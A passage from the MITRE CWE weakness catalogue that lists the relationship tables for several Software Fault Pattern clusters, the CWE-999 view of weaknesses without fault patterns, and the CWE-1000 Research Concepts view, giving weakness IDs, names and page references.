#### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	888	1326
ParentOf	C	94	Improper Control of Generation of Code ('Code Injection')	888	173
ParentOf	B	114	Process Control	888	215
ParentOf	B	427	Uncontrolled Search Path Element	888	733
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	888	789
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	888	792
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	888	793
ParentOf	V	473	PHP External Variable Modification	888	796
ParentOf	B	494	Download of Code Without Integrity Check	888	835
ParentOf	V	545	Use of Dynamic Class Loading	888	884
ParentOf	V	622	Improper Validation of Function Hook Arguments	888	970
ParentOf	C	673	External Influence of Sphere Definition	888	1041

## CWE-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID: 992 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	888	1326
ParentOf	C	116	Improper Encoding or Escaping of Output	888	217
ParentOf	B	166	Improper Handling of Missing Special Element	888	324
ParentOf	B	167	Improper Handling of Additional Special Element	888	325

Nature	Type	ID	Name	V	Page
ParentOf	B	168	Improper Handling of Inconsistent Special Elements	888	326
ParentOf	C	172	Encoding Error	888	333
ParentOf	V	173	Improper Handling of Alternate Encoding	888	335
ParentOf	V	174	Double Decoding of the Same Data	888	336
ParentOf	V	175	Improper Handling of Mixed Encoding	888	338
ParentOf	V	176	Improper Handling of Unicode Encoding	888	339
ParentOf	V	177	Improper Handling of URL Encoding (Hex Encoding)	888	341
ParentOf	B	178	Improper Handling of Case Sensitivity	888	343
ParentOf	B	179	Incorrect Behavior Order: Early Validation	888	345
ParentOf	B	180	Incorrect Behavior Order: Validate Before Canonicalize	888	347
ParentOf	B	181	Incorrect Behavior Order: Validate Before Filter	888	349
ParentOf	B	182	Collapse of Data into Unsafe Value	888	350

## CWE-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID: 993 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	888	1326
ParentOf	B	198	Use of Incorrect Byte Ordering	888	383
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	888	420
ParentOf	B	229	Improper Handling of Values	888	421
ParentOf	V	230	Improper Handling of Missing Values	888	422
ParentOf	V	231	Improper Handling of Extra Values	888	423
ParentOf	V	232	Improper Handling of Undefined Values	888	423
ParentOf	B	233	Improper Handling of Parameters	888	424
ParentOf	V	234	Failure to Handle Missing Parameter	888	425
ParentOf	V	235	Improper Handling of Extra Parameters	888	427
ParentOf	V	236	Improper Handling of Undefined Parameters	888	427
ParentOf	B	237	Improper Handling of Structural Elements	888	428
ParentOf	V	238	Improper Handling of Incomplete Structural Elements	888	428
ParentOf	V	239	Failure to Handle Incomplete Element	888	429
ParentOf	V	240	Improper Handling of Inconsistent Structural Elements	888	430
ParentOf	B	241	Improper Handling of Unexpected Data Type	888	430
ParentOf	B	351	Insufficient Type Distinction	888	610
ParentOf	B	354	Improper Validation of Integrity Check Value	888	618

## CWE-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID: 994 (Category) Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	896	SFP Primary Cluster: Tainted Input	888	1326
ParentOf	B	15	External Control of System or Configuration Setting	888	14
ParentOf	C	20	Improper Input Validation	888	18
ParentOf	B	454	External Initialization of Trusted Variables or Data Stores	888	767
ParentOf	V	496	Public Data Assigned to Private Array-Typed Field	888	839
ParentOf	V	502	Deserialization of Untrusted Data	888	847
ParentOf	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	888	902
ParentOf	B	606	Unchecked Input for Loop Condition	888	953
ParentOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	888	963

## CWE-995: SFP Secondary Cluster: Feature

Category ID: 995 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Feature cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	888	1329
ParentOf	B	447	Unimplemented or Unsupported Feature in UI	888	760
ParentOf	B	448	Obsolete Feature in UI	888	761
ParentOf	B	449	The UI Performs the Wrong Action	888	761
ParentOf	B	450	Multiple Interpretations of UI Input	888	762
ParentOf	B	451	User Interface (UI) Misrepresentation of Critical Information	888	763
ParentOf	V	549	Missing Password Field Masking	888	887
ParentOf	B	655	Insufficient Psychological Acceptability	888	1014

## CWE-996: SFP Secondary Cluster: Security

Category ID: 996 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Security cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	888	1329
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	888	620
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	888	621
ParentOf	B	446	UI Discrepancy for Security Feature	888	759

## CWE-997: SFP Secondary Cluster: Information Loss

Category ID: 997 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	906	SFP Primary Cluster: UI	888	1329
ParentOf	C	221	Information Loss or Omission	888	413
ParentOf	B	222	Truncation of Security-relevant Information	888	414

Nature	Type	ID	Name	V	Page
ParentOf	B	223	Omission of Security-relevant Information	888	414
ParentOf	B	224	Obscured Security-relevant Information by Alternate Name	888	416

## CWE-998: SFP Secondary Cluster: Glitch in Computation

Category ID: 998 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	885	SFP Primary Cluster: Risky Values	888	1323
ParentOf	B	128	Wrap-around Error	888	257
ParentOf	B	190	Integer Overflow or Wraparound	888	361
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	888	367
ParentOf	B	194	Unexpected Sign Extension	888	375
ParentOf	V	195	Signed to Unsigned Conversion Error	888	377
ParentOf	V	196	Unsigned to Signed Conversion Error	888	380
ParentOf	B	197	Numeric Truncation Error	888	381
ParentOf	B	369	Divide By Zero	888	647
ParentOf	B	456	Missing Initialization of a Variable	888	770
ParentOf	V	457	Use of Uninitialized Variable	888	773
ParentOf	B	466	Return of Pointer Value Outside of Expected Range	888	783
ParentOf	B	468	Incorrect Pointer Scaling	888	786
ParentOf	B	475	Undefined Behavior for Input to API	888	797
ParentOf	V	481	Assigning instead of Comparing	888	811
ParentOf	V	486	Comparison of Classes by Name	888	820
ParentOf	B	562	Return of Stack Variable Address	888	898
ParentOf	V	570	Expression is Always False	888	906
ParentOf	V	571	Expression is Always True	888	908
ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	888	919
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	888	927
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	888	935
ParentOf	V	597	Use of Wrong Operator in String Comparison	888	938
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	888	977
ParentOf	B	681	Incorrect Conversion between Numeric Types	888	1058
ParentOf	V	683	Function Call With Incorrect Order of Arguments	888	1064
ParentOf	V	685	Function Call With Incorrect Number of Arguments	888	1065
ParentOf	V	686	Function Call With Incorrect Argument Type	888	1066
ParentOf	V	687	Function Call With Incorrectly Specified Argument Value	888	1067
ParentOf	V	688	Function Call With Incorrect Variable or Reference as Argument	888	1068
ParentOf	C	704	Incorrect Type Conversion or Cast	888	1104
ParentOf	V	768	Incorrect Short Circuit Evaluation	888	1173

## CWE-999: Weaknesses without Software Fault Patterns

View ID: 999 (View: Implicit Slice)

Status: Incomplete

### Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

### View Data

#### Filter Used:

[contains(name(), 'Weakness')][not(../Taxonomy\_Mapping/@Mapped\_Taxonomy\_Name='Software Fault Patterns')]

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>413</b>	out of	<b>1003</b>
<b>Views</b>	<b>0</b>	out of	<b>32</b>
<b>Categories</b>	<b>0</b>	out of	<b>244</b>
<b>Weaknesses</b>	<b>413</b>	out of	<b>719</b>
<b>Compound Elements</b>	<b>0</b>	out of	<b>8</b>

### CWEs Included in this View

Type	ID	Name
V	5	J2EE Misconfiguration: Data Transmission Without Encryption
V	6	J2EE Misconfiguration: Insufficient Session-ID Length
V	7	J2EE Misconfiguration: Missing Custom Error Page
V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods
V	11	ASP.NET Misconfiguration: Creating Debug Binary
V	12	ASP.NET Misconfiguration: Missing Custom Error Page
V	13	ASP.NET Misconfiguration: Password in Configuration File
B	41	Improper Resolution of Path Equivalence
B	66	Improper Handling of File Names that Identify Virtual Resources
V	69	Improper Handling of Windows ::DATA Alternate Data Stream
V	71	Apple '.DS_Store'
V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path
C	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
B	76	Improper Neutralization of Equivalent Special Elements
B	88	Argument Injection or Modification
N	92	DEPRECATED: Improper Sanitization of Custom Special Characters
C	94	Improper Control of Generation of Code ('Code Injection')
V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
V	106	Struts: Plug-in Framework not in Use
V	107	Struts: Unused Validation Form
B	114	Process Control
B	115	Misinterpretation of Input
C	116	Improper Encoding or Escaping of Output
V	130	Improper Handling of Length Parameter Inconsistency
B	131	Incorrect Calculation of Buffer Size
N	132	DEPRECATED (Duplicate): Miscalculated Null Termination
V	150	Improper Neutralization of Escape, Meta, or Control Sequences
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
C	172	Encoding Error
V	173	Improper Handling of Alternate Encoding
V	174	Double Decoding of the Same Data
V	175	Improper Handling of Mixed Encoding
V	176	Improper Handling of Unicode Encoding



Type	ID	Name
V	177	Improper Handling of URL Encoding (Hex Encoding)
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
C	185	Incorrect Regular Expression
B	186	Overly Restrictive Regular Expression
B	187	Partial Comparison
B	188	Reliance on Data/Memory Layout
B	193	Off-by-one Error
B	198	Use of Incorrect Byte Ordering
C	200	Information Exposure
V	201	Information Exposure Through Sent Data
V	202	Exposure of Sensitive Data Through Data Queries
C	203	Information Exposure Through Discrepancy
B	204	Response Discrepancy Information Exposure
B	205	Information Exposure Through Behavioral Discrepancy
V	206	Information Exposure of Internal State Through Behavioral Inconsistency
V	207	Information Exposure Through an External Behavioral Inconsistency
B	208	Information Exposure Through Timing Discrepancy
B	211	Information Exposure Through Externally-generated Error Message
B	212	Improper Cross-boundary Removal of Sensitive Data
B	213	Intentional Information Exposure
C	216	Containment Errors (Container Errors)
N	217	DEPRECATED: Failure to Protect Stored Data from Modification
N	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
V	219	Sensitive Data Under Web Root
V	220	Sensitive Data Under FTP Root
C	221	Information Loss or Omission
B	222	Truncation of Security-relevant Information
B	223	Omission of Security-relevant Information
B	224	Obscured Security-relevant Information by Alternate Name
N	225	DEPRECATED (Duplicate): General Information Management Problems
C	227	Improper Fulfillment of API Contract ('API Abuse')
C	228	Improper Handling of Syntactically Invalid Structure
B	229	Improper Handling of Values
V	230	Improper Handling of Missing Values
V	231	Improper Handling of Extra Values
V	232	Improper Handling of Undefined Values
B	233	Improper Handling of Parameters
V	234	Failure to Handle Missing Parameter
V	235	Improper Handling of Extra Parameters
V	236	Improper Handling of Undefined Parameters
B	237	Improper Handling of Structural Elements
V	238	Improper Handling of Incomplete Structural Elements
V	239	Failure to Handle Incomplete Element
V	240	Improper Handling of Inconsistent Structural Elements
B	241	Improper Handling of Unexpected Data Type

Type	ID	Name
Ⓞ	249	DEPRECATED: Often Misused: Path Manipulation
ⓐ	250	Execution with Unnecessary Privileges
Ⓥ	258	Empty Password in Configuration File
Ⓥ	260	Password in Configuration File
Ⓥ	261	Weak Cryptography for Passwords
Ⓥ	262	Not Using Password Aging
ⓑ	263	Password Aging with Long Expiration
ⓑ	266	Incorrect Privilege Assignment
ⓑ	267	Privilege Defined With Unsafe Actions
ⓑ	268	Privilege Chaining
ⓑ	269	Improper Privilege Management
ⓑ	270	Privilege Context Switching Error
ⓐ	271	Privilege Dropping / Lowering Errors
ⓑ	274	Improper Handling of Insufficient Privileges
Ⓥ	276	Incorrect Default Permissions
Ⓥ	277	Insecure Inherited Permissions
Ⓥ	278	Insecure Preserved Inherited Permissions
Ⓥ	279	Incorrect Execution-Assigned Permissions
ⓑ	281	Improper Preservation of Permissions
ⓐ	282	Improper Ownership Management
ⓑ	283	Unverified Ownership
ⓐ	284	Improper Access Control
ⓐ	286	Incorrect User Management
ⓐ	287	Improper Authentication
ⓑ	288	Authentication Bypass Using an Alternate Path or Channel
Ⓥ	289	Authentication Bypass by Alternate Name
ⓑ	290	Authentication Bypass by Spoofing
Ⓥ	291	Reliance on IP Address for Authentication
ⓑ	294	Authentication Bypass by Capture-replay
ⓑ	295	Improper Certificate Validation
ⓑ	296	Improper Following of a Certificate's Chain of Trust
Ⓥ	297	Improper Validation of Certificate with Host Mismatch
Ⓥ	298	Improper Validation of Certificate Expiration
Ⓥ	299	Improper Check for Certificate Revocation
ⓐ	300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
Ⓥ	301	Reflection Attack in an Authentication Protocol
Ⓥ	302	Authentication Bypass by Assumed-Immutable Data
ⓑ	303	Incorrect Implementation of Authentication Algorithm
ⓑ	304	Missing Critical Step in Authentication
ⓑ	305	Authentication Bypass by Primary Weakness
ⓑ	308	Use of Single-factor Authentication
ⓑ	309	Use of Password System for Primary Authentication
Ⓥ	318	Cleartext Storage of Sensitive Information in Executable
ⓑ	322	Key Exchange without Entity Authentication
ⓑ	323	Reusing a Nonce, Key Pair in Encryption
ⓑ	324	Use of a Key Past its Expiration Date
ⓑ	325	Missing Required Cryptographic Step
ⓐ	326	Inadequate Encryption Strength
ⓑ	327	Use of a Broken or Risky Cryptographic Algorithm
ⓑ	328	Reversible One-Way Hash
Ⓥ	329	Not Using a Random IV with CBC Mode



Type	ID	Name
	330	Use of Insufficiently Random Values
	331	Insufficient Entropy
	332	Insufficient Entropy in PRNG
	333	Improper Handling of Insufficient Entropy in TRNG
	334	Small Space of Random Values
	335	PRNG Seed Error
	336	Same Seed in PRNG
	337	Predictable Seed in PRNG
	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
	339	Small Seed Space in PRNG
	340	Predictability Problems
	341	Predictable from Observable State
	342	Predictable Exact Value from Previous Values
	343	Predictable Value Range from Previous Values
	344	Use of Invariant Value in Dynamically Changing Context
	345	Insufficient Verification of Data Authenticity
	346	Origin Validation Error
	347	Improper Verification of Cryptographic Signature
	348	Use of Less Trusted Source
	349	Acceptance of Extraneous Untrusted Data With Trusted Data
	351	Insufficient Type Distinction
	353	Missing Support for Integrity Check
	354	Improper Validation of Integrity Check Value
	356	Product UI does not Warn User of Unsafe Actions
	357	Insufficient UI Warning of Dangerous Operations
	358	Improperly Implemented Security Check for Standard
	359	Exposure of Private Information ('Privacy Violation')
	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
	368	Context Switching Race Condition
	372	Incomplete Internal State Distinction
	373	DEPRECATED: State Synchronization Error
	377	Insecure Temporary File
	378	Creation of Temporary File With Insecure Permissions
	379	Creation of Temporary File in Directory with Incorrect Permissions
	385	Covert Timing Channel
	386	Symbolic Name not Mapping to Correct Object
	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
	398	Indicator of Poor Code Quality
	402	Transmission of Private Resources into a New Sphere ('Resource Leak')
	405	Asymmetric Resource Consumption (Amplification)
	406	Insufficient Control of Network Message Volume (Network Amplification)
	407	Algorithmic Complexity
	408	Incorrect Behavior Order: Early Amplification
	409	Improper Handling of Highly Compressed Data (Data Amplification)
	410	Insufficient Resource Pool
	419	Unprotected Primary Channel
	420	Unprotected Alternate Channel
	421	Race Condition During Access to Alternate Channel
	423	DEPRECATED (Duplicate): Proxied Trusted Channel
	427	Uncontrolled Search Path Element

Type	ID	Name
B	428	Unquoted Search Path or Element
B	430	Deployment of Wrong Handler
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
V	433	Unparsed Raw Web Content Delivery
B	434	Unrestricted Upload of File with Dangerous Type
G	435	Interaction Error
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
G	441	Unintended Proxy or Intermediary ('Confused Deputy')
N	443	DEPRECATED (Duplicate): HTTP response splitting
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	448	Obsolete Feature in UI
B	449	The UI Performs the Wrong Action
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
B	453	Insecure Default Variable Initialization
B	455	Non-exit on Failed Initialization
N	458	DEPRECATED: Incorrect Initialization
V	460	Improper Cleanup on Thrown Exception
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
V	473	PHP External Variable Modification
B	480	Use of Incorrect Operator
V	483	Incorrect Block Delimitation
G	485	Insufficient Encapsulation
V	487	Reliance on Package-level Scope
V	488	Exposure of Data Element to Wrong Session
V	492	Use of Inner Class Containing Sensitive Data
G	506	Embedded Malicious Code
B	507	Trojan Horse
B	508	Non-Replicating Malicious Code
B	509	Replicating Malicious Code (Virus or Worm)
B	510	Trapdoor
B	511	Logic/Time Bomb
B	512	Spyware
G	514	Covert Channel
B	515	Covert Storage Channel
N	516	DEPRECATED (Duplicate): Covert Timing Channel
V	520	.NET Misconfiguration: Use of Impersonation
B	521	Weak Password Requirements
B	522	Insufficiently Protected Credentials
V	524	Information Exposure Through Caching
V	525	Information Exposure Through Browser Caching

Type	ID	Name
V	527	Exposure of CVS Repository to an Unauthorized Control Sphere
V	528	Exposure of Core Dump File to an Unauthorized Control Sphere
V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere
V	530	Exposure of Backup File to an Unauthorized Control Sphere
V	535	Information Exposure Through Shell Error Message
V	536	Information Exposure Through Servlet Runtime Error Message
V	537	Information Exposure Through Java Runtime Error Message
B	538	File and Directory Information Exposure
V	539	Information Exposure Through Persistent Cookies
V	540	Information Exposure Through Source Code
V	541	Information Exposure Through Include Source Code
B	544	Missing Standardized Error Handling Mechanism
V	546	Suspicious Comment
V	547	Use of Hard-coded, Security-relevant Constants
V	548	Information Exposure Through Directory Listing
V	549	Missing Password Field Masking
V	550	Information Exposure Through Server Error Message
B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
B	552	Files or Directories Accessible to External Parties
V	553	Command Shell in Externally Accessible Directory
V	555	J2EE Misconfiguration: Plaintext Password in Configuration File
V	556	ASP.NET Misconfiguration: Use of Identity Impersonation
V	560	Use of umask() with chmod-style Argument
C	573	Improper Following of Specification by Caller
B	581	Object Model Violation: Just One of Equals and Hashcode Defined
V	582	Array Declared Public, Final, and Static
C	592	Authentication Bypass Issues
V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
B	595	Comparison of Object References Instead of Object Contents
B	596	Incorrect Semantic Object Comparison
V	599	Missing Validation of OpenSSL Certificate
B	602	Client-Side Enforcement of Server-Side Security
B	603	Use of Client-Side Authentication
C	610	Externally Controlled Reference to a Resource in Another Sphere
V	612	Information Exposure Through Indexing of Private Data
B	613	Insufficient Session Expiration
V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
V	615	Information Exposure Through Comments
B	618	Exposed Unsafe ActiveX Method
V	623	Unsafe ActiveX Control Marked Safe For Scripting
B	625	Permissive Regular Expression
V	626	Null Byte Interaction Error (Poison Null Byte)
B	627	Dynamic Variable Evaluation
B	628	Function Call with Incorrectly Specified Arguments
C	636	Not Failing Securely ('Failing Open')
C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')
B	639	Authorization Bypass Through User-Controlled Key
B	640	Weak Password Recovery Mechanism for Forgotten Password
B	645	Overly Restrictive Account Lockout Mechanism
V	646	Reliance on File Name or Extension of Externally-Supplied File

Type	ID	Name
V	647	Use of Non-Canonical URL Paths for Authorization Decisions
B	648	Incorrect Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
V	650	Trusting HTTP Permission Methods on the Server Side
V	651	Information Exposure Through WSDL File
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity
G	657	Violation of Secure Design Principles
B	663	Use of a Non-reentrant Function in a Concurrent Context
G	664	Improper Control of a Resource Through its Lifetime
B	666	Operation on Resource in Wrong Phase of Lifetime
G	668	Exposure of Resource to Wrong Sphere
G	669	Incorrect Resource Transfer Between Spheres
G	670	Always-Incorrect Control Flow Implementation
G	671	Lack of Administrator Control over Security
G	673	External Influence of Sphere Definition
G	675	Duplicate Operations on Resource
G	682	Incorrect Calculation
V	683	Function Call With Incorrect Order of Arguments
B	684	Incorrect Provision of Specified Functionality
V	687	Function Call With Incorrectly Specified Argument Value
V	688	Function Call With Incorrect Variable or Reference as Argument
G	691	Insufficient Control Flow Management
G	693	Protection Mechanism Failure
B	694	Use of Multiple Resources with Duplicate Identifier
B	695	Use of Low-Level Functionality
G	696	Incorrect Behavior Order
G	697	Insufficient Comparison
B	698	Execution After Redirect (EAR)
G	703	Improper Check or Handling of Exceptional Conditions
G	705	Incorrect Control Flow Scoping
G	706	Use of Incorrectly-Resolved Name or Reference
G	707	Improper Enforcement of Message or Data Structure
B	708	Incorrect Ownership Assignment
G	710	Coding Standards Violation
G	732	Incorrect Permission Assignment for Critical Resource
B	733	Compiler Optimization Removal or Modification of Security-critical Code
B	749	Exposed Dangerous Method or Function
G	754	Improper Check for Unusual or Exceptional Conditions
G	755	Improper Handling of Exceptional Conditions
G	756	Missing Custom Error Page
G	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
B	759	Use of a One-Way Hash without a Salt
B	760	Use of a One-Way Hash with a Predictable Salt
B	770	Allocation of Resources Without Limits or Throttling
V	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
V	777	Regular Expression without Anchors

Type	ID	Name
B	778	Insufficient Logging
B	779	Logging of Excessive Data
V	780	Use of RSA Algorithm without OAEP
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	783	Operator Precedence Logic Error
V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision
B	786	Access of Memory Location Before Start of Buffer
B	787	Out-of-bounds Write
B	788	Access of Memory Location After End of Buffer
V	789	Uncontrolled Memory Allocation
G	790	Improper Filtering of Special Elements
B	791	Incomplete Filtering of Special Elements
V	792	Incomplete Filtering of One or More Instances of Special Elements
V	793	Only Filtering One Instance of a Special Element
V	794	Incomplete Filtering of Multiple Instances of Special Elements
B	795	Only Filtering Special Elements at a Specified Location
V	796	Only Filtering Special Elements Relative to a Marker
V	797	Only Filtering Special Elements at an Absolute Position
B	798	Use of Hard-coded Credentials
G	799	Improper Control of Interaction Frequency
B	804	Guessable CAPTCHA
B	805	Buffer Access with Incorrect Length Value
V	806	Buffer Access Using Size of Source Buffer
B	807	Reliance on Untrusted Inputs in a Security Decision
B	820	Missing Synchronization
B	821	Incorrect Synchronization
B	822	Untrusted Pointer Dereference
B	823	Use of Out-of-range Pointer Offset
B	824	Access of Uninitialized Pointer
B	825	Expired Pointer Dereference
B	826	Premature Release of Resource During Expected Lifetime
B	827	Improper Control of Document Type Definition
B	828	Signal Handler with Functionality that is not Asynchronous-Safe
G	829	Inclusion of Functionality from Untrusted Control Sphere
B	830	Inclusion of Web Functionality from an Untrusted Source
B	831	Signal Handler Function Associated with Multiple Signals
B	832	Unlock of a Resource that is not Locked
B	833	Deadlock
B	834	Excessive Iteration
B	835	Loop with Unreachable Exit Condition ('Infinite Loop')
B	836	Use of Password Hash Instead of Password for Authentication
B	837	Improper Enforcement of a Single, Unique Action
B	838	Inappropriate Encoding for Output Context
B	839	Numeric Range Comparison Without Minimum Check
B	841	Improper Enforcement of Behavioral Workflow
B	842	Placement of User into Incorrect Group
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
G	862	Missing Authorization
G	863	Incorrect Authorization

Type	ID	Name
B	908	Use of Uninitialized Resource
B	909	Missing Initialization of Resource
B	910	Use of Expired File Descriptor
B	911	Improper Update of Reference Count
G	912	Hidden Functionality
G	913	Improper Control of Dynamically-Managed Code Resources
B	914	Improper Control of Dynamically-Identified Variables
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes
B	916	Use of Password Hash With Insufficient Computational Effort
B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
B	920	Improper Restriction of Power Consumption
B	921	Storage of Sensitive Data in a Mechanism without Access Control
G	922	Insecure Storage of Sensitive Information
G	923	Improper Restriction of Communication Channel to Intended Endpoints
G	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel
V	925	Improper Verification of Intent by Broadcast Receiver
V	926	Improper Export of Android Application Components
V	927	Use of Implicit Intent for Sensitive Communication
B	939	Improper Authorization in Handler for Custom URL Scheme
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel
V	942	Overly Permissive Cross-domain Whitelist
G	943	Improper Neutralization of Special Elements in Data Query Logic

**View Audience****Applied Researchers****Academic Researchers****Software Vendors**

## CWE-1000: Research Concepts

View ID: 1000 ([View: Graph](#))

Status: Draft

**Objective**

This view is intended to facilitate research into weaknesses, including their inter-dependencies and their role in vulnerabilities. It classifies weaknesses in a way that largely ignores how they can be detected, where they appear in code, and when they are introduced in the software development life-cycle. Instead, it is mainly organized according to abstractions of software behaviors. It uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars.

Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life-cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies.

This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and very few categories. This view could be useful for academic research, CWE maintenance, and mapping. It can be leveraged to systematically identify theoretical gaps within CWE and, by extension, the general security community.

**View Data****View Metrics**



	CWEs in this view		Total CWEs
<b>Total</b>	<b>723</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	9	out of	244
<b>Weaknesses</b>	706	out of	719
<b>Compound_Elements</b>	8	out of	8

### View Audience

#### Academic Researchers

This view provides an organizational structure for weaknesses that is different than the approaches undertaken by taxonomies such as Seven Pernicious Kingdoms.

#### Applied Researchers

Applied researchers could use the higher-level classes and bases to identify potential areas for future research.

#### Developers

Developers who have fully integrated security into their SDLC might find this view useful in identifying general patterns of issues within code, instead of relying heavily on "badness lists" that only cover the most severe issues.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
HasMember		118	Improper Access of Indexable Resource ('Range Error')	<b>1000</b>	225
HasMember		330	Use of Insufficiently Random Values	<b>1000</b>	581
HasMember		435	Interaction Error	<b>1000</b>	748
HasMember		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
HasMember		682	Incorrect Calculation	<b>1000</b>	1060
HasMember		691	Insufficient Control Flow Management	<b>1000</b>	1072
HasMember		693	Protection Mechanism Failure	<b>1000</b>	1074
HasMember		697	Insufficient Comparison	<b>1000</b>	1078
HasMember		703	Improper Check or Handling of Exceptional Conditions	<b>1000</b>	1102
HasMember		707	Improper Enforcement of Message or Data Structure	<b>1000</b>	1107
HasMember		710	Coding Standards Violation	<b>1000</b>	1109

## CWE-1001: SFP Secondary Cluster: Use of an Improper API

Category ID: 1001 (Category)

Status: Incomplete

### Description

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		887	SFP Primary Cluster: API	<b>888</b>	1323
ParentOf		111	Direct Use of Unsafe JNI	<b>888</b>	208
ParentOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>888</b>	418
ParentOf		242	Use of Inherently Dangerous Function	<b>888</b>	431
